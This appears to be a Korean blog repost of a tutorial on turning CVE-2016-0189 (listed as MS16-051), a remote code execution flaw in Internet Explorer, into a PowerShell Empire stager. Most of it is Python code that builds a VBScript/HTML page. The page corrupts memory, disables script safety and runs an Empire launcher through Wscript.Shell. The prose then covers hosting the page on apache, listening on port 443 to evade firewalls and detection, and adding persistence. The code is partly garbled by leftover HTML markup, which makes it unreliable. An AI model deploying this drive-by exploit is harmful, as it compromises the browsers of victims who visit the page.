POWERSHELL EMPIRE + CVE-2016-0189 = PROFIT
33594 단어 침투 테스트
from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'MS16-051 IE RCE',
'Author': ['www.cgsec.co.uk'],
'Description': ('Leverages MS16-051 to execute powershell in unpatched browsers. This is a file-less vector which works on IE9/10/11 and all versions of Windows'),
'Comments': [
'Target will have to open link with vulnerable version of IE.'
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
'StagerRetries' : {
'Description' : 'Times for the stager to retry connecting.',
'Required' : False,
'Value' : '0'
},
'OutFile' : {
'Description' : 'File to output HTML to, otherwise displayed on the screen.',
'Required' : True,
'Value' : ''
},
'Base64' : {
'Description' : 'Switch. Base64 encode the powershell output.',
'Required' : True,
'Value' : 'True'
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
listenerName = self.options['Listener']['Value']
base64 = self.options['Base64']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
stagerRetries = self.options['StagerRetries']['Value']
encode = False
if base64.lower() == "true":
encode = True
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
code = "
"
code += "
"
code += "
"
code += "
"
code += "
"
code += "
"</span>
code <span class="token operator">+=</span> <span class="token string">" Dim aw
"</span>
code <span class="token operator">+=</span> <span class="token string">" Dim plunge(32)
"</span>
code <span class="token operator">+=</span> <span class="token string">" Dim y(32)
"</span>
code <span class="token operator">+=</span> <span class="token string">" prefix = \"%u4141%u4141\"
"</span>
code <span class="token operator">+=</span> <span class="token string">" d = prefix & \"%u0016%u4141%u4141%u4141%u4242%u4242\"
"</span>
code <span class="token operator">+=</span> <span class="token string">" b = String(64000, \"D\")
"</span>
code <span class="token operator">+=</span> <span class="token string">" c = d & b
"</span>
code <span class="token operator">+=</span> <span class="token string">" x = UnEscape(c)
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" Class ArrayWrapper
"</span>
code <span class="token operator">+=</span> <span class="token string">" Dim A()
"</span>
code <span class="token operator">+=</span> <span class="token string">" Private Sub Class_Initialize
"</span>
code <span class="token operator">+=</span> <span class="token string">" ReDim Preserve A(1, 2000)
"</span>
code <span class="token operator">+=</span> <span class="token string">" End Sub
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" Public Sub Resize()
"</span>
code <span class="token operator">+=</span> <span class="token string">" ReDim Preserve A(1, 1)
"</span>
code <span class="token operator">+=</span> <span class="token string">" End Sub
"</span>
code <span class="token operator">+=</span> <span class="token string">" End Class
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" Class Dummy
"</span>
code <span class="token operator">+=</span> <span class="token string">" End Class
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" Function getAddr (arg1, s)
"</span>
code <span class="token operator">+=</span> <span class="token string">" aw = Null
"</span>
code <span class="token operator">+=</span> <span class="token string">" Set aw = New ArrayWrapper
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" For i = 0 To 32
"</span>
code <span class="token operator">+=</span> <span class="token string">" Set plunge(i) = s
"</span>
code <span class="token operator">+=</span> <span class="token string">" Next
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" Set aw.A(arg1, 2) = s
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" Dim addr
"</span>
code <span class="token operator">+=</span> <span class="token string">" Dim i
"</span>
code <span class="token operator">+=</span> <span class="token string">" For i = 0 To 31
"</span>
code <span class="token operator">+=</span> <span class="token string">" If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
"</span>
code <span class="token operator">+=</span> <span class="token string">" addr = strToInt(Mid(y(i), 3 + 4, 2))
"</span>
code <span class="token operator">+=</span> <span class="token string">" End If
"</span>
code <span class="token operator">+=</span> <span class="token string">" y(i) = Null
"</span>
code <span class="token operator">+=</span> <span class="token string">" Next
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" If addr = Null Then
"</span>
code <span class="token operator">+=</span> <span class="token string">" document.location.href = document.location.href
"</span>
code <span class="token operator">+=</span> <span class="token string">" Return
"</span>
code <span class="token operator">+=</span> <span class="token string">" End If
"</span>
code <span class="token operator">+=</span> <span class="token string">" getAddr = addr
"</span>
code <span class="token operator">+=</span> <span class="token string">" End Function
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" Function leakMem (arg1, addr)
"</span>
code <span class="token operator">+=</span> <span class="token string">" d = prefix & \"%u0008%u4141%u4141%u4141\"
"</span>
code <span class="token operator">+=</span> <span class="token string">" c = d & intToStr(addr) & b
"</span>
code <span class="token operator">+=</span> <span class="token string">" x = UnEscape(c)
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" aw = Null
"</span>
code <span class="token operator">+=</span> <span class="token string">" Set aw = New ArrayWrapper
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" Dim o
"</span>
code <span class="token operator">+=</span> <span class="token string">" o = aw.A(arg1, 2)
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" leakMem = o
"</span>
code <span class="token operator">+=</span> <span class="token string">" End Function
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" Sub overwrite (arg1, addr)
"</span>
code <span class="token operator">+=</span> <span class="token string">" d = prefix & \"%u400C%u0000%u0000%u0000\"
"</span>
code <span class="token operator">+=</span> <span class="token string">" c = d & intToStr(addr) & b
"</span>
code <span class="token operator">+=</span> <span class="token string">" x = UnEscape(c)
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" aw = Null
"</span>
code <span class="token operator">+=</span> <span class="token string">" Set aw = New ArrayWrapper
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" aw.A(arg1, 2) = CSng(0)
"</span>
code <span class="token operator">+=</span> <span class="token string">" End Sub
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" Function exploit (arg1)
"</span>
code <span class="token operator">+=</span> <span class="token string">" Dim addr
"</span>
code <span class="token operator">+=</span> <span class="token string">" Dim csession
"</span>
code <span class="token operator">+=</span> <span class="token string">" Dim olescript
"</span>
code <span class="token operator">+=</span> <span class="token string">" Dim mem
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" Set dm = New Dummy
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" addr = getAddr(arg1, dm)
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" mem = leakMem(arg1, addr + 8)
"</span>
code <span class="token operator">+=</span> <span class="token string">" csession = strToInt(Mid(mem, 3, 2))
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" mem = leakMem(arg1, csession + 4)
"</span>
code <span class="token operator">+=</span> <span class="token string">" olescript = strToInt(Mid(mem, 1, 2))
"</span>
code <span class="token operator">+=</span> <span class="token string">" overwrite arg1, olescript + &H174
"</span>
code <span class="token operator">+=</span> <span class="token string">" Set Object = CreateObject(\"Wscript.Shell\")
"</span>
code <span class="token operator">+=</span> <span class="token string">" Object.run(\""</span>
code <span class="token operator">+=</span> launcher <span class="token operator">+</span> <span class="token string">"\")
"</span>
code <span class="token operator">+=</span> <span class="token string">" End Function
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"</span>
code <span class="token operator">+=</span> <span class="token string">" Function triggerBug
"</span>
code <span class="token operator">+=</span> <span class="token string">" aw.Resize()
"</span>
code <span class="token operator">+=</span> <span class="token string">" Dim i
"</span>
code <span class="token operator">+=</span> <span class="token string">" For i = 0 To 32
"</span>
code <span class="token operator">+=</span> <span class="token string">" ' 24000x2 + 6 = 48006 bytes
"</span>
code <span class="token operator">+=</span> <span class="token string">" y(i) = Mid(x, 1, 24000)
"</span>
code <span class="token operator">+=</span> <span class="token string">" Next
"</span>
code <span class="token operator">+=</span> <span class="token string">" End Function
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"
code += "
"
code += "
"</span>
code <span class="token operator">+=</span> <span class="token string">" function strToInt(s)
"</span>
code <span class="token operator">+=</span> <span class="token string">" {
"</span>
code <span class="token operator">+=</span> <span class="token string">" return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
"</span>
code <span class="token operator">+=</span> <span class="token string">" }
"</span>
code <span class="token operator">+=</span> <span class="token string">" function intToStr(x)
"</span>
code <span class="token operator">+=</span> <span class="token string">" {
"</span>
code <span class="token operator">+=</span> <span class="token string">" return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
"</span>
code <span class="token operator">+=</span> <span class="token string">" }
"</span>
code <span class="token operator">+=</span> <span class="token string">" var o;
"</span>
code <span class="token operator">+=</span> <span class="token string">" o = {\"valueOf\": function () {
"</span>
code <span class="token operator">+=</span> <span class="token string">" triggerBug();
"</span>
code <span class="token operator">+=</span> <span class="token string">" return 1;
"</span>
code <span class="token operator">+=</span> <span class="token string">" }};
"</span>
code <span class="token operator">+=</span> <span class="token string">" setTimeout(function() {exploit(o);}, 50);
"</span>
code <span class="token operator">+=</span> <span class="token string">"
"
code += "
"
code += ""
return code
ms16.py 우선 Github 에서 Empire 를 얻 을 수 있 습 니 다.
현재 Empire 를 다운로드 하 였 습 니 다.색인 페이지 를/var/www/html 경로 에 직접 놓 을 수 있 도록 apache 2 를 설치 해 야 합 니 다.이 단 계 는 대부분의 사람들 이 수출 위 치 를 바 꾸 고 백신 엔진 이나 유사 한 제품 을 피하 기 위해 모호 하 게 하려 고 하기 때문에 선택 할 수 있다.
이제 우리 의 새로운 규칙 을 추가 해 야 한다.스 크 립 트 를/lib/stagers 에 두 고 Empire 의 install.sh 스 크 립 트 를 실행 하여 추가 하고 실행 해 야 합 니 다.Ubuntu 환경 에서 실행 된다 면 이 스 크 립 트 를 실행 하기 전에 pip 를 설치 해 야 할 수도 있 습 니 다.
이제 우 리 는 처음으로 엠 파이 어 를 시작 할 준비 가 되 어 있다.모든 것 이 잘 되면 우리 가 추가 한 ms 16 스 크 립 트 를 사용 하여 출력 파일 을/var/www/html/index.html 로 설정 하고 직접 목 표를 설정 할 수 있 습 니 다.더 고 급 스 러 운 사용 자 는 서비스 에 약간 복잡 한 것 을 설정 하여 서로 다른 고객 이나 서로 다른 벡터 를 이용 하여 사람들의 이목 을 헷 갈 리 게 하려 고 할 수도 있다.이런 것들 은 본 고 에서 설명 하고 자 하 는 범 위 를 넘 어 섰 다.
저 는 개인 적 으로 443 포트 의 감청 을 설정 하여 by pass 의 방화벽 을 설치 하고 검 측 체 제 를 피 하 는 것 을 선 호 합 니 다.
이제 저희 의 악의 적 인 HTML 을 만들어 보도 록 하 겠 습 니 다.
현재 서비스 가 관련 구멍 이 있 는 브 라 우 저 를 사용 하 는 사용자 에 게 탐색 되 었 을 때 이 공격 부하 가 트리거 되 는 동시에 새로운 프 록 시 를 Empire 에서 볼 수 있 습 니 다.지구 성 모듈 을 사용 하여 작업 을 만 드 는 것 은 좋 은 주의 입 니 다.비슷 한 것 도 다시 시작 해서 권한 을 잃 지 않도록 할 수 있 습 니 다.자동 으로 실행 되 는 프 록 시 를 설정 하여 새로운 클 라 이언 트 연결 을 자동 으로 실행 하도록 설정 할 수 있 습 니 다.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
cve-2019-0708 msf 실행 오류 해결cve-2019-0708 msf 실행 오류 해결 서버에 빈틈이 있는지 검사하는 과정에서 exploit의 오류가 발견되었고 오류 정보는 다음과 같다. 이미 뚜렷하다Exploit aborted due to failure...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.